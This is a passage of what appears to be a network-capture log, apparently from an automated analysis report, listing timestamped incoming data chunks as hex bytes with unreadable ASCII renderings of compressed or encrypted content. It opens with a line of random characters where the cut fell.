~lMj{]7yWcErzp}w{xyxSsH_uoEpw)_uEglPO<'!]w;I/$}Ix*T5SC8lcA5=k{VTANuat&T@7vtkBukP7o2z[{rH-:
2023-05-31 10:22:21 UTC	1439	IN	Data Raw: 95 b4 be e5 4e 01 fa 56 8a ef 08 4c d0 b7 8e df b1 bb 51 6f 45 31 6e 71 7d 2b 41 df 4a 5a df ca 77 aa f0 52 95 e0 45 a0 47 51 08 55 49 0b 55 96 c8 95 20 54 a5 f8 d6 be 04 a1 2a c5 85 aa 04 a1 2a 69 a1 2a d7 86 01 08 1c 8b 6b 53 19 42 55 d2 42 95 47 3f 20 54 25 2d 54 e5 b6 e1 c5 d1 42 95 3f 24 84 aa a4 6f c6 f3 59 02 c5 29 69 c5 c9 1f 12 8a 53 8a ef d1 4b d8 a3 77 ff 1d 7d 48 0c 40 7c bf 5c 82 be 95 b4 be 95 cd 78 b1 90 1c 80 7f 59 fc 0f fa 56 d2 fa 96 c3 37 f4 ad a4 f5 2d 77 78 d0 b7 92 d6 b7 b2 19 c6 4d eb 5b 76 c6 73 82 be 95 b4 be e5 b3 04 fa 56 d2 fa 96 7f a8 a0 6f a5 f8 39 98 09 fa 56 d2 fa 96 75 49 03 7d ab d1 fa 56 be 70 10 97 42 c5 f5 ad 06 fa 56 a3 f5 2d eb c9 06 fa 56 a3 f5 2d 23 aa 06 fa 56 13 d0 b7 bc 6d b8 1c 4a eb 5b f9 21 71 3d 94 d6 b7 be Data Ascii: NVLQoE1nq}+AJZwREGQUIU T*ikSBUBG? T%-TB?$oY)iSKw}H@\|\xYV7-wxM[vsVo9VuI}VpBV-V-#VmJ[!q=
2023-05-31 10:22:21 UTC	1455	IN	Data Raw: a2 43 69 3b 5c 34 f0 c7 b3 ed 08 5b a5 b1 a0 de 16 66 ed 7b c0 39 df cb 55 6c 65 b8 4f 41 a9 ad a6 54 9f 2f a0 d4 36 70 54 d4 af 66 86 11 d4 94 6a df d5 16 b8 d9 c6 37 85 b6 50 50 5b ad a0 7a db 40 a9 ad a6 d4 df ec cd 03 a5 b6 9a 52 4d ad 6a 41 a9 ad a6 54 e3 8f 16 94 da 6a 4a fd d3 cd d0 36 4d a9 b6 20 6d 79 0c 94 a6 54 9f 5c 3c 08 4a 53 aa fb 30 1e 05 a5 29 d5 c7 8d 87 41 05 e4 42 9b 5c a0 d4 56 53 aa bf e2 a0 d4 56 53 aa 1f 8d 05 4a 6d 35 a5 ba 0f 03 a5 b6 f1 bd a4 2d 28 b5 d5 72 e1 97 cf 66 86 b6 69 dc f4 f7 0d b8 d9 c6 e5 c2 16 b8 d9 46 2f a4 bd 9f 17 96 cd 34 6e da c2 a6 05 37 b6 9a 1b fd 2b 0e 6e 6c e3 27 37 b5 e0 c6 56 73 a3 21 59 0b 6e 6c e3 9b 42 5b 70 63 1b 90 0b 6d b8 c1 8d ad e6 c6 af 66 06 6e 6c 35 37 fa 70 83 1b db 78 92 6e 0b 6e 6c 35 37 Data Ascii: Ci;\4[f{9UleOAT/6pTfj7PP[z@RMjATjJ6M myT\<JS0)AB\VSVSJm5-(rfiF/4n7+nl'7Vs!YnlB[pcmfnl57pxnnl57
2023-05-31 10:22:21 UTC	1471	IN	Data Raw: 6e 45 d1 b6 c0 19 70 6e 86 b6 c5 37 b1 37 00 e9 46 83 b4 0f 37 f7 b1 ff 5f 36 b2 73 27 7b 78 eb 6d c3 bd ec 1a a4 f3 43 a2 6d 1a a4 7d 00 00 d2 4d e0 68 31 7b 48 80 74 a3 41 da df 37 80 74 13 bd df ef 56 14 6d 0b dc ef 67 be 04 20 dd 68 90 f6 da 00 d2 8d 06 69 3f ec 00 20 dd c4 b3 44 1a 80 f4 fd f7 75 68 d4 3d 73 b7 9c f5 83 fb 1f ae ab b4 9c 88 a3 68 05 33 a5 1f a0 ca aa ac 32 9a 68 72 14 ad 61 a6 f4 03 54 59 97 55 c6 0e 18 bc 17 4d 30 53 fa 01 aa 4c 65 95 b1 73 09 ef 45 1b 98 29 fd 00 55 36 65 95 b1 e3 0c ef 45 5b 98 29 fd 00 55 b6 65 95 d1 94 9a a3 68 07 b3 2e 5e 65 57 56 19 3b 3c f1 5e b4 87 99 d2 0f 50 65 5f 56 29 11 d8 aa 44 a4 aa d1 91 2a af 12 91 aa 46 47 aa b2 19 9c 47 3c 52 d5 20 52 d5 e8 48 15 4e 4b c9 66 3a 52 65 3b 14 1b 44 aa 9a c0 59 12 e6 Data Ascii: nEpn77F7_6s'{xmCm}Mh1{HtA7tVmg hi? Duh=sh32hraTYUM0SLesE)U6eE[)Ueh.^eWV;<^Pe_V)D*FGG<R RHNKf:Re;DY
2023-05-31 10:22:21 UTC	1482	IN	Data Raw: bf 5f 95 f6 ef d3 8a 0f f6 fa c1 07 db 4f d2 39 4a d4 28 ad 5c 80 fb 29 84 c6 06 1d 1a f3 77 19 a1 b1 41 87 c6 7c be 23 34 36 04 42 63 d6 13 08 8d 0d 9a 7a 2d 80 3a 80 7a 87 40 96 ba d5 06 ea 1d 02 a7 a9 b9 19 da a6 a9 d7 f6 20 0f a0 de 21 7e 9a 1a 77 98 8d 81 03 c2 dd ac 81 59 78 dc 46 50 ef a8 a9 f7 97 7f 98 d9 02 b3 70 28 7a 04 f5 8e f1 e4 f6 11 d4 3b 6a ea 35 9e 19 41 bd a3 a6 5e 7b 71 46 50 ef 18 3f 4d 6d 04 f5 3e 7e 7f 68 62 ce e6 5e ac 82 51 74 6a 8d 40 e5 51 a3 b2 bd db 23 50 79 d4 a8 ec 53 0b a8 3c 6a 54 f6 d6 01 95 47 8d ca b6 2a 18 81 ca 63 3c ab 62 04 f3 8e 9a 79 7d fe 03 5e 47 0d af 3e 23 01 af a3 86 57 fb 04 8e 80 d7 31 90 e7 f0 5c ba 8c 80 d7 51 c3 eb 27 7b 48 c0 eb 18 bf 00 69 04 bc 8e 1a 5e b3 19 da 16 07 ca 11 40 39 c6 4f a7 1e 01 94 a3 Data Ascii: _O9J(\)wA\|#46Bcz-:z@ !~wYxFPp(z;j5A^{qFP?Mm>~hb^Qtj@Q#PyS<jTG*c<by}^G>#W1\Q'{Hi^@9O
2023-05-31 10:22:21 UTC	1498	IN	Data Raw: 01 2b f8 6d d5 fc 16 ee b1 15 fc f6 f8 2d ba fb 5b 88 41 37 cd 6f 31 b8 56 f0 db ea e7 d3 5a c1 6f ab e6 b7 b0 6f 2b f8 6d 35 72 2f 7f 09 31 e8 a6 f9 2d 56 e5 15 fc f6 f8 6d f6 1b f8 6d f5 93 3e ad e0 b7 d5 cf bd bc 82 df 56 7d c4 3d fb 0d fc b6 fa fc b6 82 df 56 1d 7f fb 3d c6 24 f8 6d d5 fc 96 a3 04 fc b6 6a 7e fb 67 8a 41 b7 49 f6 5b 4e 1c f0 db e3 b7 d9 dd e0 b7 55 f3 5b f6 1b f8 6d f5 ef 1a af e0 b7 55 f3 5b ea 06 7e 5b fd f8 db 0a 7e 5b 35 bf a5 6e e0 b7 d5 7f b6 6a 05 bf ad 9a df 5a 6d d0 4d f3 5b 0e 65 f0 db aa f9 2d 3f 12 fc b6 fa cf 56 ad e0 b7 d5 7f b6 6a 05 bf ad 9a df 72 e5 02 bf ad 3a fe 96 83 0b fc b6 ea 07 92 73 94 80 df 56 9d 7b b9 89 41 37 ff 88 fb 0a 7e 7b fc 7e 2d 16 3e 85 5b d1 0e 62 ea 85 ea 1c 25 5b 3b fa f9 f6 fb fb 1f f8 05 22 ac Data Ascii: +m-[A7o1VZoo+m5r/1-Vmm>V}=V=$mj~gAI[NU[mU[~[~[5njZmM[e-?Vjr:sV{A7~{~->[b%[;"
2023-05-31 10:22:21 UTC	1514	IN	Data Raw: cd 6f 39 4a c0 6f ab e6 b7 56 1b 74 33 8e 5c 46 4b 82 df 56 23 9b d3 cf 21 06 dd fc 87 51 56 f0 db ea f3 db 0a 7e 5b 35 bf 65 6d e0 b7 d5 7f db 7d 05 bf ad 9a df 72 28 83 df 56 e3 61 94 ac 0d ba 69 7e 8b dc 21 1b f8 6d d3 fc 16 db d0 0d fc b6 69 7e 8b 45 61 03 bf 3d 7e bf 16 0b 6f e8 06 7e db 34 bf 65 6d e0 b7 cd bf 1b ba 81 df 36 9f df 36 f0 db a6 f9 ad 7d 24 74 f3 b3 f1 6e e0 b7 cd 0f db 6d e0 b7 4d f3 5b 76 00 f8 6d d3 61 bb 26 06 dd 74 d8 2e 07 17 f8 6d f3 b3 39 6d e0 b7 cd 78 18 25 9a 04 fc b6 69 7e fb 25 46 09 f8 6d f3 b3 f1 6e e0 b7 4d f3 db 4f 29 06 dd 8c 87 51 a2 03 c0 6f 9b f1 0e ec 4f 21 06 dd fc 23 97 1b f8 6d 33 e2 6f bf 85 18 74 f3 ef 86 6e e0 b7 4d f3 5b ce 37 f0 db a6 f9 2d 9c 71 1b f8 ed f6 5b dd cf 89 c5 7c 03 bf 6d 7e fc 6d 03 bf 6d fa Data Ascii: o9JoVt3\FKV#!QV~[5em}r(Vai~!mi~Ea=~o~4em66}$tnmM[vma&t.m9mx%i~%FmnMO)QoO!#m3otnM[7-q[\|m~mm
2023-05-31 10:22:21 UTC	1530	IN	Data Raw: 2a 77 6c a4 be d5 e4 c6 04 fc 85 b5 47 94 50 cf c7 0c ba fe 89 9c d4 c3 63 a8 8e ef 63 cb 22 b9 27 1b e3 37 b0 4e 8b ae 0f f3 e7 3e f2 68 76 f3 f6 05 42 60 2c fe db 07 45 7f d8 be 20 3b 90 5d 23 62 5a cd 54 0b 5f 7d 2c 95 f7 ad 81 56 f8 d7 85 c6 ec 1a ef 95 82 55 6b 3d fc 6f 6a 84 7a 6f cf 93 6b 57 4d 87 9f 49 f5 de ee b5 ee 55 25 e4 a7 7b 93 f7 ca 64 8f bb 18 8b 34 78 7b 56 ad 75 3f 89 f7 1b bc dd 2b 26 cf cc 23 3f 3d 0b f1 df 38 29 e3 5f 9f 08 d5 96 ad 2f 14 1a 70 8c e0 3a e9 33 ef 29 23 30 69 6f af 05 1f 8c ae b2 90 db fc 5f bf 9f 4a 46 31 bb 09 2e aa 8f 0f e3 7d 78 64 53 20 94 e2 3d 81 cb 3e e7 e2 73 cf 7a 8f c3 fc 9f 0f ad f5 29 1c d9 a2 5b 7f 7b 15 1a 48 e4 df 0d 01 ca 1b 02 e7 6e f1 7e ab f0 6c 72 b1 22 7c e3 fc 47 be 6b 06 8f cd fb 09 dc cb 2d 3b Data Ascii: *wlGPcc"'7N>hvB`,E ;]#bZT_},VUk=ojzokWMIU%{d4x{Vu?+&#?=8)_/p:3)#0io_JF1.}xdS =>sz)[{Hn~lr"\|Gk-;
2023-05-31 10:22:21 UTC	1546	IN	Data Raw: d8 95 f7 42 63 71 9d af 42 ac f3 0d d3 d6 f9 26 dd ca 9e 6f 33 a5 34 f5 e0 c8 ba 92 52 a9 ae b2 dc 14 ff 1f 5c c3 28 6a 71 ac f8 23 3c 74 c6 38 7d a5 2d d4 f0 4f 78 c3 97 e1 d1 82 95 a6 c6 20 f4 3f 43 b4 3f 12 df 01 0c 3f c2 98 38 20 a5 c3 30 ec 3f 64 61 96 a1 e0 95 67 c2 95 40 8c 49 e5 e1 c5 55 22 54 24 b1 68 18 bf 63 d0 10 8f 1c 54 1d 6c 18 12 1a e8 7c 06 c8 2c ee 31 cb e9 a5 f5 bd dd 61 bb 93 57 7b 0c f1 a7 b3 0f 26 bc f3 0c 4f 8a fa cf 00 4a a9 df 97 8f e1 eb 81 94 47 88 f5 c7 9b 06 d2 ef 1f fc 57 e3 a7 4d df 3f 3b 3f fd fc fb 9f f0 d3 ff 35 7e 3a c7 fa f1 a8 ef 9d 65 fd f8 b1 77 91 ab d4 f5 b2 57 a2 f8 09 59 a2 f8 09 bf 94 8c 9f 38 63 d2 e2 27 b6 5a c9 56 f5 8a 80 26 99 d6 f8 82 b2 5f 04 36 e5 d2 2a 5f 50 ce 13 01 4e 05 b4 ce 17 94 0b 45 a0 53 31 ad Data Ascii: BcqB&o34R\(jq#<t8}-Ox ?C??8 0?dag@IU"T$hcTl\|,1aW{&OJGWM?;?5~:ewWY8c'ZV&_6*_PNES1
2023-05-31 10:22:21 UTC	1553	IN	Data Raw: 72 15 42 73 8d 6e 19 8b 35 41 74 cb 11 74 cb 10 9f dc 30 cb 76 5b 74 cb 42 17 71 0f 2d eb 07 75 ce 2e 3e 43 9a d9 3a a9 b8 4c db 4a a9 b8 44 d8 5a a9 b8 30 08 b5 c4 4d ba 2c 0a d4 9b bb e0 e4 1c b1 e5 53 09 a0 52 40 15 13 bf 2d a1 2e c2 91 44 14 0b 00 c9 f4 d4 fe bb 0a 2a 07 d8 56 55 c5 b0 da ba aa 98 ce 6d 65 25 3c 17 87 5e 50 88 f6 90 ac 22 15 ca c2 ca 38 c7 1a f4 27 53 78 1e b2 ad 3f 2f da ff ef 05 d9 d2 fc fc 7d 41 39 4f 4a fe 4e d8 91 aa bc 7a 69 5a d6 3f 5c b7 eb fe c1 05 82 ee 1f 5c 18 e4 fe c1 85 08 ee 1f 6f 85 e2 59 b2 78 91 6f d9 d2 eb fc ea f5 5f 08 e0 07 eb d8 86 b1 bb 57 dd aa 47 be db 94 78 f0 1f 22 db 5a 1e 78 ac 75 6b a2 e5 d1 08 2d 22 4f c5 be 56 13 f9 bb bb ee 6b 5c db 70 fb ad 6b ee 8e 7c f7 e9 48 fc 81 e6 e6 96 44 7d a2 f9 7b 8f b5 b6 Data Ascii: rBsn5Att0v[tBq-u.>C:LJDZ0M,SR@-.D*VUme%<^P"8'Sx?/}A9OJNziZ?\\oYxo_WGx"Zxuk-"OVk\pk\|HD}{
2023-05-31 10:22:21 UTC	1565	IN	Data Raw: 71 9d b2 2f 82 d8 17 d9 29 fb c2 98 e1 e9 90 7d 60 9f ca 43 a4 66 10 8e 5a 10 32 3f 7d ff 79 ed 25 cb 28 2e aa 16 09 23 08 74 23 28 06 c6 e1 ca e3 8b 03 72 ea ac 88 90 36 81 0e 36 80 90 61 9c 38 c6 43 5f 1c d0 2d 62 25 08 74 15 28 06 c6 89 61 84 fa e2 80 9c 92 02 81 12 ba 40 97 49 4f 89 97 be 28 e5 48 72 b7 00 92 a3 3b 24 59 0e 20 39 be 43 92 f5 01 24 1b 3a 24 59 17 40 72 62 87 24 eb fd 48 f6 9a a8 73 d2 1c d5 21 cd 21 01 34 27 77 48 73 68 00 cd 49 7f 83 e6 c8 0e 69 0e 0d a0 d9 d8 21 cd 81 a2 a1 6b 47 33 68 1f b5 c3 78 7a e0 2e 10 df 26 3f f1 1d d1 32 e6 dd 58 c6 63 68 fe 41 f9 b6 08 e9 23 e9 25 74 93 d3 29 73 e9 3d 0e d2 5b ed 27 bd 84 07 32 43 48 7a 4d a0 7c 35 42 79 49 7a 09 5f cd 8c 13 b0 13 b4 af 52 28 2f 51 49 78 17 d3 2e 94 fe 5a 50 fe 46 3f e5 27 Data Ascii: q/)}`CfZ2?}y%(.#t#(r66a8C_-b%t(a@IO(Hr;$Y 9C$:$Y@rb$Hs!!4'wHshIi!kG3hxz.&?2XchA#%t)s=['2CHzM\|5ByIz_R(/QIx.ZPF?'
2023-05-31 10:22:21 UTC	1581	IN	Data Raw: ba 82 d3 2f a2 6e 1e 9e d8 02 de 49 8c f9 78 9f cd 7d aa d9 a2 bd 2d e0 b8 98 6b cd d5 ea 04 8d b9 56 bd 0d 67 7d 8f 9b ab 69 d8 c0 bc 9b 0d 1c 98 37 f0 a1 03 48 ea ff c6 70 85 fa 22 0d 1f 98 f7 aa 2f d2 00 02 3e d0 f8 01 3e d0 08 02 3c e4 d2 de 4a 13 ad b5 20 12 9b 3a 22 51 87 24 e2 3c 71 d3 39 49 fc c7 23 1c 82 c4 3d 82 c4 3d 82 c4 3d 82 c4 3d 5e 12 cf cd 45 03 92 18 f9 af e6 a2 11 49 8c fa 57 73 31 1a 49 34 fd ab b9 18 83 24 c6 fd ab b9 18 8f 24 26 fe ab b9 98 84 24 26 ff ab b9 68 41 12 53 ff d5 5c 4c 47 12 33 fe d5 5c cc 44 12 b3 fe d5 5c cc 46 12 73 fe d5 5c 9c 84 24 4e f9 57 73 71 1a 92 98 fb af e6 e2 6c 24 d1 fa af e6 e2 02 24 31 ff ff 20 17 a3 4c 4a e3 70 e5 b4 52 a1 44 99 e4 e2 6f 4e d2 7c 4a d4 96 1f d9 b4 0c 8d 53 d3 b4 cc 85 34 2d 43 e3 d4 38 Data Ascii: /nIx}-kVg}i7Hp"/>><J :"Q$<q9I#====^EIWs1I4$$&$&hAS\LG3\D\Fs\$NWsql$$1 LJpRDoN\|JS4-C8
2023-05-31 10:22:21 UTC	1597	IN	Data Raw: 82 c6 5f 0e a4 52 47 da 8b af 92 34 17 6c cf a1 14 a6 a6 3b 39 9f d9 b0 8e d4 3a be 9f 46 0b 69 e4 c2 36 a7 f3 70 11 be 46 1f 66 f8 62 27 b6 21 ea 80 65 4f 9c 5c c4 25 5c d4 4f 95 10 36 66 5f 12 49 45 72 eb f7 e6 2d b1 c3 87 f0 1d fa 37 62 9c 67 e1 3c 77 97 c4 ca b6 ec 07 e4 87 f4 4e 10 f1 8d ee d4 40 dd 87 8c ef ba 9d d9 21 36 cd a0 ea 8c 9c 3a 99 c6 5b 4f 25 a6 37 ac a7 52 d3 20 eb a9 dc d4 d7 7a aa 30 75 b5 9e 86 9a 3a 5a 4f b3 4c cf 59 4f 9b 9b fc ac a7 9d 4d 5e 34 47 27 be 7f ac d9 5b 82 fa 26 17 a4 14 dc f6 b3 44 f2 b6 92 c3 02 7a d8 49 aa d4 58 20 7c 1f d1 6e a3 94 8d 85 f1 41 53 32 19 ce 64 82 62 f6 a9 d2 e9 ad 49 5c ea 2d 31 49 82 3c 3a 91 c4 4d bf 87 b7 d6 0f 9f 40 8c f2 85 98 c9 fb fb a5 6f 41 72 2a 87 54 9e 2e 09 27 a4 60 1b f3 a9 f2 95 53 66 Data Ascii: _RG4l;9:Fi6pFfb'!eO\%\O6f_IEr-7bg<wN@!6:[O%7R z0u:ZOLYOM^4G'[&DzIX \|nAS2dbI\-1I<:M@oAr*T.'`Sf
2023-05-31 10:22:21 UTC	1613	IN	Data Raw: 0d 95 35 46 9a b2 56 fb 32 b0 e0 5e c7 ed dd fe aa ad 95 06 5c fb e9 57 ab da 85 57 7a b8 b6 3c c0 f0 c6 65 cb 88 90 06 0c 47 44 c4 80 d6 b2 86 22 42 7b cc cd 9d 05 f4 4c ad c1 89 8e 9d c8 54 3d 4f 37 21 0d 1e ef f1 52 15 cc b7 f6 0d 54 3a 5e 61 ec 50 7d ed a9 c0 54 cb 91 ae e5 f3 dc 11 d7 2e fb e1 54 f0 5b 6c 5a cf ee f2 59 1d ed c3 ca 83 c8 04 3d 43 61 be 7d da d9 40 69 a7 f5 a5 a6 59 da 79 dd 6c 6e 14 ba 46 4b d5 c5 70 36 c4 0e 8c d9 90 d7 68 f5 6d 74 60 38 ed a1 7c ae d8 af a7 29 33 c9 b1 83 69 0a eb 6d 41 42 f8 da b6 6d cf 90 93 af ac 6d 27 23 e4 10 ba f6 a4 f0 34 3a c0 c6 92 42 0e b0 2f 97 37 52 b5 6d 27 17 22 31 d2 86 17 b5 6f 03 a5 4e b3 33 ab bb 76 44 cf 58 f9 fe ba b9 ab f0 3a b8 6b 10 97 15 d3 03 2e a8 67 2c 02 0e 26 3c aa ed 0b 2c 48 f9 d1 f0 Data Ascii: 5FV2^\WWz<eGD"B{LT=O7!RT:^aP}T.T[lZY=Ca}@iYylnFKp6hmt`8\|)3imABmm'#4:B/7Rm'"1oN3vDX:k.g,&<,H
2023-05-31 10:22:21 UTC	1624	IN	Data Raw: 59 0e f5 19 83 b5 52 30 3b 28 64 ac 2a d5 60 4f e1 87 a1 4e 8c f3 54 55 5c 8d a6 0c ee 32 ef 34 15 57 a3 1d c3 01 44 c9 ed c0 d6 1d b2 05 04 9f c9 e8 3c 3c 4d 82 cf d6 2e 3f 07 07 da 51 3f 06 2f 12 4d b6 99 53 82 d3 8c 54 3e 86 ca b3 25 1b 39 b9 c4 27 8b 72 2a 06 c8 50 9e ec 4a 09 ed 4f 61 40 eb 90 b9 d9 1b 4d 76 a7 39 b1 a5 d3 ac 6c 0e 2e 95 54 2f f2 4d 3a fc 76 e6 69 b5 77 13 47 ed a7 6b 06 31 33 48 92 fc 08 73 c3 73 09 f8 5b 81 b3 e0 66 6a b6 a7 00 ad 27 55 05 dd de 4e 33 40 83 85 8e fc ae db a9 48 af a0 a1 38 72 b7 de 7f ad aa c3 40 93 45 3f f8 5a 49 f1 95 f0 9b 40 55 1d 15 12 95 3b d1 91 be d6 c8 ad cb bc c2 c8 2b 50 e6 aa 4d 89 dd 1d aa e2 37 9d 26 a3 cb 31 54 80 f6 1f 1e d1 2a 64 5e 21 8b a5 ea 8d 55 a4 f2 0a 74 ae af 4d 53 d6 fc 33 56 91 c6 2b d0 Data Ascii: YR0;(d`ONTU\24WD<<M.?Q?/MST>%9'rPJOa@Mv9l.T/M:viwGk13Hss[fj'UN3@H8r@E?ZI@U;+PM7&1T*d^!UtMS3V+
2023-05-31 10:22:21 UTC	1640	IN	Data Raw: 62 82 58 6a 0d 6f 9e 71 72 95 05 7f e7 41 e3 70 e1 70 a2 fc 28 50 44 2c 18 75 1c 9e 14 8f 4f 1b d3 2b 01 4d 17 c0 7e 7d 99 b6 e8 17 28 1a e4 f1 ea 8a 34 de 4d 95 e8 82 5f fd 6a 12 be a3 f5 71 b4 aa a4 b1 2a be 9f c0 fe 26 c9 80 a2 e2 c0 c0 61 f0 a5 a8 d0 51 c0 16 04 40 8b 00 40 c9 22 b4 97 f2 49 23 11 5b fb 12 c9 3c f5 9c 8e 7d 3d 86 f7 67 80 fe 10 ba e5 0a 0f eb 0e 8b 5b 0d b3 66 be 97 f8 95 7e cf 8b e1 f7 b9 46 1e 9b c9 7d 45 da 4c de 42 71 c7 22 66 92 8a 25 76 7e 95 07 59 5b 7d 6c 4a 22 c1 0e ae e9 8e 01 d5 e7 13 97 9f 63 eb f0 33 31 16 b4 e8 14 e0 5d f1 c0 af 39 fa c5 f0 cd 59 46 6f c0 8a bb 27 71 27 5c f8 d6 9d 28 63 b7 d2 ed 43 62 a5 e1 0b 86 e9 e3 e5 c9 1f d6 af f9 f1 0c fe 2d cc 95 0e 6a 47 e1 4c cd fa b9 ff 22 c2 be 8d 08 d7 70 09 f4 f4 8a 49 4c Data Ascii: bXjoqrApp(PD,uO+M~}(4M_jq*&aQ@@"I#[<}=g[f~F}ELBq"f%v~Y[}lJ"c31]9YFo'q'\(cCb-jGL"pIL
2023-05-31 10:22:21 UTC	1656	IN	Data Raw: 3f f4 8f 2b 0d bf 3b a2 5f 2f 9e d9 28 7c cf 48 dc bf 1d 1a b1 25 e6 f0 df b8 7f 11 c6 af ff 83 c8 1d 07 af f5 5d ff 54 94 82 d8 21 a8 14 ff 76 4c 2b b7 66 24 e1 bc 3e 87 09 cf c8 ce a7 c4 01 3f 34 7c 03 1b ce 3a f9 fc 08 f6 cb db fa fd 82 f8 71 f7 49 fc 91 e2 a3 76 a4 21 5e 94 e1 4a 1c 29 b7 b9 4f f7 01 7a 5d 8c 8b de a9 d3 97 3a 9c 92 77 ff 87 e5 cd 8a 6f 1a 5f 5f 6e 0e 8e 22 1a 95 09 34 9a 5a b3 3a 2a d0 e8 20 e1 04 f0 4b cf bf 50 24 c8 82 99 46 fe 92 64 af ac 40 1e f8 9a 24 70 2d 1f 13 81 dc a7 c7 1d 78 6f c2 9f 91 23 be 1c c7 9b a7 04 de bc 11 c3 1b 17 e0 cd 9d 31 bc 39 44 78 73 22 86 37 03 c1 da 0c a0 d1 8a 6f 2d e1 4d 19 80 30 db be 13 e6 53 86 07 fb 3e f4 47 0b ca bf 46 9c 19 1f 6c b2 f4 3a 2b a1 b1 e7 13 d8 6c 71 9c 81 61 bc 3a 91 08 48 2e 6d 42 Data Ascii: ?+;_/(\|H%]T!vL+f$>?4\|:qIv!^J)Oz]:wo__n"4Z:* KP$Fd@$p-xo#19Dxs"7o-M0S>GFl:+lqa:H.mB
2023-05-31 10:22:21 UTC	1672	IN	Data Raw: af c6 4f 51 c1 2e a4 54 1c 29 87 fd 96 71 a6 aa 91 12 c4 ba 29 ad b3 a8 d1 f9 6c 52 44 a7 c3 5e f1 24 fa a2 4a 05 77 c7 85 95 a8 1a 40 05 8f 69 b8 81 a7 2d c3 43 8b 21 ca 4f 35 c5 b8 ab ed 09 e0 04 1d 06 ca b0 bf a6 d5 d7 fa a3 97 91 ff 2d c0 ff bf 14 fc 1f 99 cd f9 3f 18 12 fc f7 17 5d 51 6f 73 6e b4 5f a5 c8 f9 b6 48 8a f3 be 90 28 cc 90 59 7f cc 3b 79 3e 1a b5 3b 9d 9f e8 22 13 ae 2f 6c 47 26 7e 41 f9 cf 8b 5b 65 7e ea 18 87 14 af 45 7e 36 d3 d1 e2 4c bc cc d5 52 c5 4c e9 ac 28 ae fa 87 09 ee f3 6f 1c a3 4c ac c0 43 e1 02 b5 3f 11 7c ac b0 e4 4f 25 47 0e 77 c9 93 89 ca a7 c3 9d c9 59 d6 fd a4 f0 8f 58 81 52 05 ff 08 5c 7f b5 80 3f f5 fc 0d 6d dd d4 76 2a 14 b6 d0 f8 c1 f6 4f 15 f9 9a b0 72 e0 25 6d 30 31 ed bf e8 c7 8d 0e 59 1c 9b 9d 3a e2 e1 6f 0f f2 Data Ascii: OQ.T)q)lRD^$Jw@i-C!O5-?]Qosn_H(Y;y>;"/lG&~A[e~E~6LRL(oLC?\|O%GwYXR\?mv*Or%m01Y:o
2023-05-31 10:22:21 UTC	1688	IN	Data Raw: 15 c8 4a 55 a6 e2 d2 b8 1b 8c fb f0 b2 14 65 26 39 ff 6e 99 99 44 d8 47 d9 de f1 a1 d1 9f a2 0a 7a aa 05 e8 b8 99 ad be d3 83 87 7d b5 05 f1 e8 12 9a 86 32 1f 9d e9 e6 b9 c3 56 1a 94 6f 1a fa b4 43 91 d3 b4 c9 d7 32 b5 ec 0c 98 6e d4 fe 1e f0 9d fb 9b a7 f5 17 ee 5d ce d6 f1 a6 1f d0 fe 2b e8 88 d4 1b fd 8f 83 fb 9a fe 4b c0 94 a9 c4 22 69 89 fa bf 88 d6 42 71 a7 f1 54 24 34 d5 27 c3 1a 6b 53 a1 c4 d0 0a be 16 53 89 7f 93 78 be af fb cf d3 dd 54 a4 61 05 e4 33 85 d7 1e 61 f0 f5 b8 aa a1 d9 36 3c df 08 4d a1 fb 6c e2 98 27 7c 47 27 c5 5d 1d 5b b0 03 66 d8 8e b3 bb 73 79 cc 98 fb 92 e8 c9 30 75 5e 3b af de 0f e8 8c a4 51 00 57 08 c4 0c 5e ae c5 85 03 da 30 95 fb c9 32 f4 a3 f2 a5 33 ea eb 34 ea cb b7 cc d0 dc 49 83 34 e7 0c dc 18 27 0f ad 6a 14 bb b8 c9 3c Data Ascii: JUe&9nDGz}2VoC2n]+K"iBqT$4'kSSxTa3a6<Ml'\|G'][fsy0u^;QW^0234I4'j<
2023-05-31 10:22:21 UTC	1698	IN	Data Raw: 18 73 0e b6 15 bf a9 ca 57 5d 37 18 62 98 de 6d 31 a6 e8 6d d9 fd 71 32 02 ff 5f b6 56 76 5f ef 48 d2 94 40 58 10 3d f7 b1 66 29 d0 6b 80 a7 6b 56 a3 5f 03 2d df e8 77 13 26 f2 67 12 21 e0 f7 f2 af 4e fc a7 33 9d 8d de be e8 73 ba e9 fd 1a 9a 00 04 1e 10 84 9c a0 4d cb 58 c0 4b 41 06 72 07 72 00 19 3c 77 2d 6c 95 67 7f 8e 53 96 50 16 0d a2 b5 35 7a 5c d2 16 2f a4 3b 4c d3 6b 7d 3e 32 c5 85 9c d2 0d df e8 69 f2 81 63 44 2f fd 71 d5 08 56 ef db a6 e0 26 98 93 17 f0 8b 1d c1 06 4d 7d da d4 01 12 df 60 7d 46 43 34 0d 37 36 11 86 39 75 39 26 8d d3 4d b3 dc 56 a2 8b f4 47 89 01 26 d6 2a 46 df fa b6 30 35 07 fe 11 84 75 33 06 b3 0d ae 4c 82 e6 a9 f5 e5 c4 3c 4c c6 14 e6 7d ed 09 ed 95 da be 9b ee 8f 4b 73 ef 28 99 32 67 01 1d f6 d4 52 a3 dc 77 2c 28 f7 0a 9d b4 Data Ascii: sW]7bm1mq2_Vv_H@X=f)kkV_-w&g!N3sMXKArr<w-lgSP5z\/;Lk}>2icD/qV&M}`}FC4769u9&MVG&*F05u3L<L}Ks(2gRw,(
2023-05-31 10:22:21 UTC	1714	IN	Data Raw: 2a 89 79 58 a6 e7 39 0e 62 4b fb 0e 58 22 ff 5e c3 fe 0c b1 cf 16 0c 11 31 14 57 3e 8f 3d eb 21 f7 4a 1c 40 cf 1e 73 88 a9 cd 6d b2 e2 cb 76 4b 49 dc bf 83 52 7b 16 7d 4f 62 34 d7 22 cf 7f a6 3d 63 56 24 6f cf b8 9f 6b 4f 4b 92 35 be 5b 6a 8f 23 49 7b b8 3f 1c f7 bb 80 5d 58 30 ea 28 c6 66 7e f4 8d 63 07 63 30 53 ac 01 34 94 d3 2b 6a bc ac f9 6c f2 0f d5 91 20 9d 8a 97 80 d0 c8 6f c2 e4 bd 06 f1 0f a1 cf bb 0b 85 20 00 46 ab 22 1d 94 b1 7e 69 0c d1 5d d5 5a 9e 9c 31 17 4f ff ec cd 4c a6 a1 fa 3e b1 89 0f 67 ad 31 ae 8a 31 7e eb 25 71 85 ba 9a 3a e8 1c 28 9d 7b e1 a0 35 e9 42 84 8b e2 3d 36 ec 4c ef 1a 23 4e 28 74 e5 4b d4 e0 be 36 c3 bc 34 b1 1c b1 5d 20 78 d6 cd d6 bb 8b 2b c5 06 e0 98 e4 4a b9 60 8c 93 8c bc 7e c0 8b 58 87 97 0d a3 50 de 